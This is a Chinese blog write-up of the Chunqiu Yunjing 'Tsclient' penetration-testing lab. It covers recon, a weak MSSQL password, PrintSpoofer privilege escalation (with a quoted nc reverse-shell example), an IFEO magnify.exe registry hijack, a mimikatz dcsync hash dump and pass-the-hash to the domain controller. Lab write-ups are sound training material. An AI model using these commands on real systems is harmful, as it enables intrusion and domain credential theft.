【渗透测试】Tsclient-春秋云镜 极致的工具化打法！

已于 2023-10-03 20:42:42 修改
阅读量524 收藏 3
点赞数 2
文章标签： 安全 网络安全 计算机网络 web安全 github 开源软件
于 2023-10-03 20:37:47 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74272345/article/details/133528225
版权

前言

做题的时候比较赶，截图可能不是完整的，主要以渗透思路为主（沙砾是真的贵，多花一点都感觉心疼）

信息搜集

开放端口探测
image.png
image.png
主机&开放端口详情
这里对扫描内容做了输出到文件的操作，直接把文件贴过来好了

# Nmap 7.94 scan initiated Mon Oct  2 23:08:59 2023 as: nmap -sS -sV -sC -O -p80,1433,2383,3389 -oA /home/kali/box/Tsclient/message 39.98.113.183
Nmap scan report for 39.98.113.183
Host is up (0.0076s latency).

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s           Microsoft SQL Server 2016 13.00.1601.00; RTM
| ms-sql-ntlm-info: 
|   39.98.113.183:1433: 
|     Target_Name: WIN-WEB
|     NetBIOS_Domain_Name: WIN-WEB
|     NetBIOS_Computer_Name: WIN-WEB
|     DNS_Domain_Name: WIN-WEB
|     DNS_Computer_Name: WIN-WEB
|_    Product_Version: 10.0.14393
| ms-sql-info: 
|   39.98.113.183:1433: 
|     Version: 
|       name: Microsoft SQL Server 2016 RTM
|       number: 13.00.1601.00
|       Product: Microsoft SQL Server 2016
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2023-10-03T03:10:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-10-03T03:03:30
|_Not valid after:  2053-10-03T03:03:30
2383/tcp open  ms-olap4?
3389/tcp open  ssl/ms-wbt-server?
|_ssl-date: 2023-10-03T03:10:08+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=WIN-WEB
| Not valid before: 2023-10-02T03:03:20
|_Not valid after:  2024-04-02T03:03:20
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct  2 23:10:08 2023 -- 1 IP address (1 host up) scanned in 68.70 seconds

信息搜集总结

  • 80端口http服务，采用微软IIS
  • 1433端口mssql服务，fscan扫描出了弱口令sa/1qaz!QAZ
  • 3389端口，可以尝试远程连接
  • 主机名：WIN-WEB
  • 操作系统：Windows

对WIN-WEB渗透

拿到了mssql的弱口令，那么首先用MDUT连接拿到shell，因为是Windows机器，习惯用web投递上线CS
image.png
image.png

信息枚举

shell whoami /all主要是查看SID，作为好习惯，万一后面需要伪造黄金票据用
image.png
shell ipconfig /all枚举网卡信息

  • 没有主DNS，怀疑主机存在于工作组而非域环境
  • 发现内网IP172.22.8.18

image.png
shell systeminfo枚举系统信息

  • 域：WORKGROUP，确认为工作组环境
  • 操作系统：Windows Server 2016
  • 处理器为64位，一些工具版本的适用情况需要注意

image.png
MDUT上传fscan64.exe，对内网网段172.22.8.0/24进行扫描
上传文件时需要注意：只能上传到C:\users\public\目录下，其他目录下could not upload file:5报错


   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.46     is alive
(icmp) Target 172.22.8.15     is alive
(icmp) Target 172.22.8.18     is alive
[*] Icmp alive hosts len is: 4
172.22.8.46:139 open
172.22.8.31:139 open
172.22.8.18:1433 open
172.22.8.18:445 open
172.22.8.15:445 open
172.22.8.46:445 open
172.22.8.31:445 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.18:135 open
172.22.8.15:135 open
172.22.8.46:135 open
172.22.8.31:135 open
172.22.8.18:80 open
172.22.8.46:80 open
172.22.8.15:88 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo:
[*]172.22.8.18
   [->]WIN-WEB
   [->]172.22.8.18
   [->]2001:0:348b:fb58:241d:3fda:d89c:6887
[*] NetInfo:
[*]172.22.8.31
   [->]WIN19-CLIENT
   [->]172.22.8.31
[*] NetBios: 172.22.8.31     XIAORANG\WIN19-CLIENT          
[*] NetBios: 172.22.8.15     [+]DC XIAORANG\DC01            
[*] NetInfo:
[*]172.22.8.15
   [->]DC01
   [->]172.22.8.15
[*] NetInfo:
[*]172.22.8.46
   [->]WIN2016
   [->]172.22.8.46
[*] NetBios: 172.22.8.46     WIN2016.xiaorang.lab                Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.8.18        code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.8.46        code:200 len:703    title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
宸插畬鎴?16/16
[*] 鎵弿缁撴潫,鑰楁椂: 11.5973825s

主机发现

  • WIN-WEB（本机）：172.22.8.18
  • WIN19-CLIENT：172.22.8.31，存在于域环境，域名XIAORANG
  • DC01：172.22.8.15，根据名字和.31主机的netbios得知这就是域控
  • WIN2016：172.22.8.46，windwos server 2016操作系统，域名WIN2016.xiaorang.lab

WIN-WEB提权

MDUT上传PrintSpoofer.exe进行提权

https://github.com/whojeff/PrintSpoofer

PrintSpoofer v0.1 (by @itm4n)
  Provided that the current user has the SeImpersonate privilege, this tool will leverage the Print
  Spooler service to get a SYSTEM token and then run a custom command with CreateProcessAsUser()
Arguments:
  -c <CMD>    Execute the command *CMD*
  -i          Interact with the new process in the current command prompt (default is non-interactive)
  -d <ID>     Spawn a new process on the desktop corresponding to this session *ID* (check your ID with qwinsta)
  -h          That's me :)
Examples:
  - Run PowerShell as SYSTEM in the current console
      PrintSpoofer.exe -i -c powershell.exe
  - Spawn a SYSTEM command prompt on the desktop of the session 1
      PrintSpoofer.exe -d 1 -c cmd.exe
  - Get a SYSTEM reverse shell
      PrintSpoofer.exe -c "c:\Temp\nc.exe 10.10.13.37 1337 -e cmd"

image.png
image.png
whoami返回system，成功提权。接下来将system会话也上线到cs，方法很简单，MDUT上传CS马，用PrintSpoofer执行即可
image.png
拿到SYSTEM权限后，对文件目录一番搜寻找到flag01，type读内容
image.png
这里给出来了提示：也许你应该注意用户会话，那就重点枚举用户信息

john用户信息枚举

image.png
image.png
从上面三个命令可以发现，John用户的类型为Admin，它的会话为rdp远程连接。通过注入进程的方式拿到一个用户为John的会话inject pid
image.png
在John的beacon下查看net use信息，发现它通过tsclient挂载了C盘，我们已经是john用户了，所以dir看看这个被挂载的C盘里有什么东西？

net use命令详解https://www.cnblogs.com/mamiyiya777/p/11017875.html
远程桌面mstsc情况下通过\\tsclient\盘符实现内容的拷贝：https://blog.csdn.net/xulianboblog/article/details/51059540

image.png
![在这里插入图片描述](https://img-blog.csdnimg.cn/9d8c930650414c25b24572080afe44e6.png

在这里插入图片描述

image.png
发现一个credential.txt，里面存有xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#，还有一个提示，你知道如何劫持镜像吗？

密码喷洒&远程登录攻击

先在这里对内网网段里的主机做一个密码喷洒，在此之前需要建立socks代理，在CS中我们可以很方便建立Socks。

CoblatStrike socks代理隧道：https://blog.csdn.net/weixin_43571641/article/details/123006802
什么是密码喷洒：https://www.keepersecurity.com/zh_CN/threats/password-spraying-attack.html
密码喷洒攻击：https://blog.csdn.net/qq_42383069/article/details/123796855

撞到了WIN2016、WIN19-CLIENT、DC01（其实就是内网的所有主机都能用这个账户密码）
image.png
用这组域名\用户名:密码xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#尝试rdesktop剩下三台主机
过程没有截图，文字记录一下：rdesktop之后WIN2016没法登录，但是WIN19-CLIENT主机可以登录，登录后告诉我密码过期需要修改，我改为了1qaz@WSX，接着我能够登录进WIN19-CLIENT和WIN2016，但是很卡，应该是给kali分配的内存小的问题，下次可以搞proxifer在Windows上远程连接
rdesktop到WIN2016（172.22.8.46），进行一些信息枚举
image.png
ipconfig /all看到该主机在域内，域名为xiaorang.1ab
image.png
ping 百度发现该主机不出网
image.png

WIN2016映像劫持提权

按照之前的提示就是用映像劫持去打了，运行下面命令，发现NT AUTHORITY\Authenticated Users可以修改注册表，即所有账号密码登录的用户都可以修改注册表，利用这个性质，修改注册表，使用放大镜进行提权
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
image.png
开始—用户—锁定，右下角打开放大镜就能拿到system权限的cmd，继续一番搜寻找到flag02
image.png
image.png

不出网上线CS：https://blog.csdn.net/st3pby/article/details/127683826
cs利用smb上线内网不出网主机：https://blog.csdn.net/weixin_41598660/article/details/109196489

将WIN2016上线到CS，mimikatz拿到域管理员的hash
shell C:\\Users\\Public\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

impacket工具包进行横向移动

使用impacket里的smbexec.py进行hash传递登录域控DC01（172.22.8.15），拿到system的cmdshell，拿下flag03
image.png
image.png
image.png

总结

这个靶场是纯Windows靶场，有很多难点，也有很多可扩展学习的地方。

  1. fscan爆出MSSQL弱口令，通过MDUT工具拿下WIN-WEB
  2. RDP贯穿整个内网渗透的思路，是这个靶场的核心
  3. john用户用tsclient挂载C盘到WIN-WEB，把域内主机用户密码给泄露了，可以做密码喷洒攻击（密码碰撞）
  4. 映像劫持提权：放大镜这个是直接拿WP的用，可以扩展学习
  5. impacket工具包的使用

作为一个学习渗透从B站红队笔记开始的人，春秋云镜的靶场很多的使用工具让人有点略微不适应。TOOL云镜不愧如此，但确实tool有用。nmap很难扫描出MSSQL的弱口令，但是fscan就很容易；MDUT拿下数据库服务的cmd_shell确实傻瓜式，很方便很简单；impacket工具包smbexec进行hash传递登录域控机器从而完成横向移动的手段确实简单，对于这个工具包还可以深入学习一下。

WelK1n_
关注
  • 2
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
TS Client-开源
05-12
TS Client是一个多用户桌面应用程序，用于注册客户的数据，例如姓名，地址，联系方式，处方以及简单的发票和付款要求。 该程序是用100％纯Java开发的。 它开箱即用。
linux终端访问tsclient,linux远程连接windows(tsclient)
weixin_39538500的博客
05-09 927
Terminal Server Client(tsclient)是一个用于rdesktop的前端。它支持大多数rdesktop，tsclient是图形界面，命令行输入tsclient打开主界面，输入远程计算机IP，用户名和密码就可以连接。使用tsclient，必须安装rdesktop.tsclient安装成功后，可从菜单应用程序－＞Internet－＞终端服务客户端 打开.参数，能在Microso...
春秋云镜靶场挑战——Tsclient
Cobra的博客
03-25 2532
目标IP：39.98.73.212 网络拓扑 入口机器 1、使用namp对目标IP进行扫描，发现目标开放了1433端口(MSSQL服务)，3389端口(RDP服务) 2、可以先爆破MSSQL服务，如下可以看出成爆破出密码 3、使用MDUT工具连接Mssql 4、使用xp_cmdshell执行命令发现只有一个比较地低的权限 5、使用CS生成木马，利用MDUT上传木马 6、执行木马上线CS C:/Users/Public/beacon.exe 7、使用土豆提
i春秋云镜之Tsclient
weixin_65550121的博客
12-15 991
因为它在远程连接我们的时候把磁盘也挂载过来了，这里由于我们不能让对面那台主机重启所以我们不能通过写启动项的方式让他上线但我们在对方的C盘发现了一个用户以及提示的信息接下来就是进一步的操作这里先把权限切换到John用户。因为对方远程登录的是这个桌面这里切忌一定不要远程上去你一旦远程上去 对方的连接就会断开 他的C盘也会断开所以你收集不到他的磁盘信息了迁移到John的进程上去。我们可以发现这里面都是windows的机器，我们先提权。我们发现是权限是mssql权限，所以我们需要提权。
ubuntu9.10 的远程桌面客户端工具tsclient
周海汉的开发专栏
11-26 4710
周海汉 /文09.11.26 需求来源，linux对windows远程桌面进行管理，操作服务器数据库和网站等。linux 下有时候也需要对windows服务器进行管理，访问windows的远程桌面。这可以用rdesktop。而tsclient可以通过rdesktop对windows远程桌面进行访问，不过需要windows 打开终端服务。tsclient除了支持rdeskto
wsdl-tsclient:从wsdl生成打字稿客户端
04-03
WSDL TSClient 示例如何生成和使用： 从WSDL文件生成带有打字稿定义的。 该库正在使用生成打字稿代码和以供运行时使用。 受Java 和启发。 注意：将添加到您的npm运行时依赖项（ npm i soap ）安装npm i wsdl-...
TPM：TSClient LEGACY软件包管理器（TPM）-TSClient LEGACY ThinClient操作系统的软件包管理器。 它完全用OCaml编写，并使用GNU Tar，GNU Gzip和来自GNU Coreutils或类似程序的工具
02-03
**TPM：TSClient LEGACY软件包管理器详解** TSClient LEGACY的TPM，全称为ThinClient Package Manager，是一款专为TSClient LEGACY ThinClient操作系统设计的软件包管理器。这个工具的主要职责是简化软件的安装、...
TPM2：TSClient LEGACY软件包管理器（TPM）的版本2-TSClient LEGACY ThinClient操作系统的软件包管理器的第二版本完全用C ++编写。 它使用GNU Tar，zlib，TinyXML2和SQLite作为软件包数据库
02-04
TPM2，全称为TSClient LEGACY的软件包管理器的第二版本，是专为TSClient LEGACY ThinClient操作系统设计的一个高效且强大的工具。这个软件包管理器是完全使用C++编程语言编写的，体现了C++在系统级编程中的应用优势...
tsclient:寒意打字稿客户端
04-14
tsclient 安装 yarn add @getchill.app/tsclient 用法 import { Credentials , rpcService , RPCService , certPath , RPCError } from '@getchill.app/tsclient' export const creds : Credentials = new ...
Terminal Server Client [tsclient]:项目已被https://sourceforge.net/projects/remmina/取代-开源
05-14
终端服务器客户端[tsclient]是rdesktop和其他远程桌面工具的GTK2前端。 该项目已被Remmina取代-https://sourceforge.net/projects/remmina/
春秋云镜-Tsclient-Writeup
qq_35607078的博客
07-12 3584
春秋云镜-Tsclient-Writeup
远程桌面mstsc情况下通过\\tsclient\盘符实现内容的拷贝
zhang6622056的专栏
05-03 1万+
在我们远程桌面的情况下一般需要拷贝内容： 拷贝内容的方式当然不是只有这一种。包括选项的一些勾选。但是个人觉得这个是最保险，而且可以行得通的： 现在将步骤一一列出： 1、客户端 开始-运行-mstsc 输入服务器账号密码 2、服务器端 开始-运行-\\tsclient\盘符 访问自己的机器。 3、拷贝即可
靶场练习--春秋云境-Tsclient
NoooEmotion的博客
01-28 2157
Tsclient是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag，分布于不同的靶机。
【内网渗透】春秋云镜 Tsclient WP
Sapphire037的博客
05-15 1091
mssql连接和攻击、windows提权、令牌窃取、镜像劫持。
春秋云境Tsclient-WP【一遍过】
weixin_63576152的博客
10-05 250
quser查看计算机上的用户会话信息（quser命令在windows server和windows的某些专业版才适用）上传mimikatz，用shift后门启动管理员权限的cmd，运行mimikatz，执行命令。服务器管理器-->管理-->添加角色1 和功能-->功能-->勾选.net3.5进行安装。里面有一个敏感文件，查看后获取一个凭证和一个提示（镜像劫持）运行完会跳出一个命令框，直接通过命令行可以访问域控的文件。查看权限，当前用户是普通用户，没有管理员权限。或者用下面的命令添加用户test，远程登录。
春秋云镜 ----Tsclient（kking）
m0_60742333的博客
11-02 536
工具：Multiple.Database.Utilization.Tools-2.1.1-jar-with-dependencies.jar。在 cmd窗口中输入查找flag 03 （若提示密码不正确则返回上一步查看hash值是否传递正确）通过复制粘贴的形式将mimikatz从本地上传到远程，并以管理员身份运行。kali里太卡了，转用SocksCap64-4.7配代理远程连接。密码过期了，使用kali直接连接远程桌面修改密码。获取后进行hash传递。发现mssql弱口令漏洞，使用工具连接。
【内网渗透】春秋云镜Intitle WP
Sapphire037的博客
04-23 2110
第一次正式接触内网渗透的东西，写的很新手，也适合新手观看，有问题可以私信或评论，接下来会持续更新。
Windows远程登录时共享本地硬盘
热门推荐
寒星轩
07-24 2万+
Windows远程登录我想大家都用过。但是如果在远程登录的时候需要拷贝远程电脑上的文件或文件夹改怎么办呢？在知道下面这个小窍门之前，我是这样做的：         1. 远程登录         2. 在远程的电脑上创建共享文件夹         3. 在本地的电脑上通过网络共享拷贝文件或文件夹         这样做虽然可以达到目的，可是跟我下面要说的方法比起来却麻烦了许多（尤其是要拷贝
春秋云镜-【仿真场景】Tsclient writeup
渗透测试研究中心
03-07 445
0x1 InfoTag:MSSQL，Privilege Escalation，Kerberos，域渗透，RDP靶场地址：https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU0x2 ReconTarget external ip47.92.82.196nmapMSSQL 弱口令爆破，爆破出有效凭据，权限为服务账户权限(MSSQLSE...
\\TSCLIENT\D\ZP20.XLS，是什么意思
最新发布
03-20
很抱歉，根据你提供的信息，我无法准确回答你关于"\\TSCLIENT\D\ZP20.XLS"的问题。"\\TSCLIENT\D\ZP20.XLS"看起来像是一个文件路径，但我无法确定具体是什么文件或者它的含义。如果你能提供更多的背景信息或者问题的上下文，我将尽力帮助你解答。以下是一些可能有助于你的问题： 1. "TSCLIENT"是什么意思？ 2. "D"代表什么？ 3. "ZP20.XLS"是什么类型的文件？ 4. 你需要关于该文件的哪方面的信息？ 请提供更多详细信息，以便我能够更好地回答你的问题。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值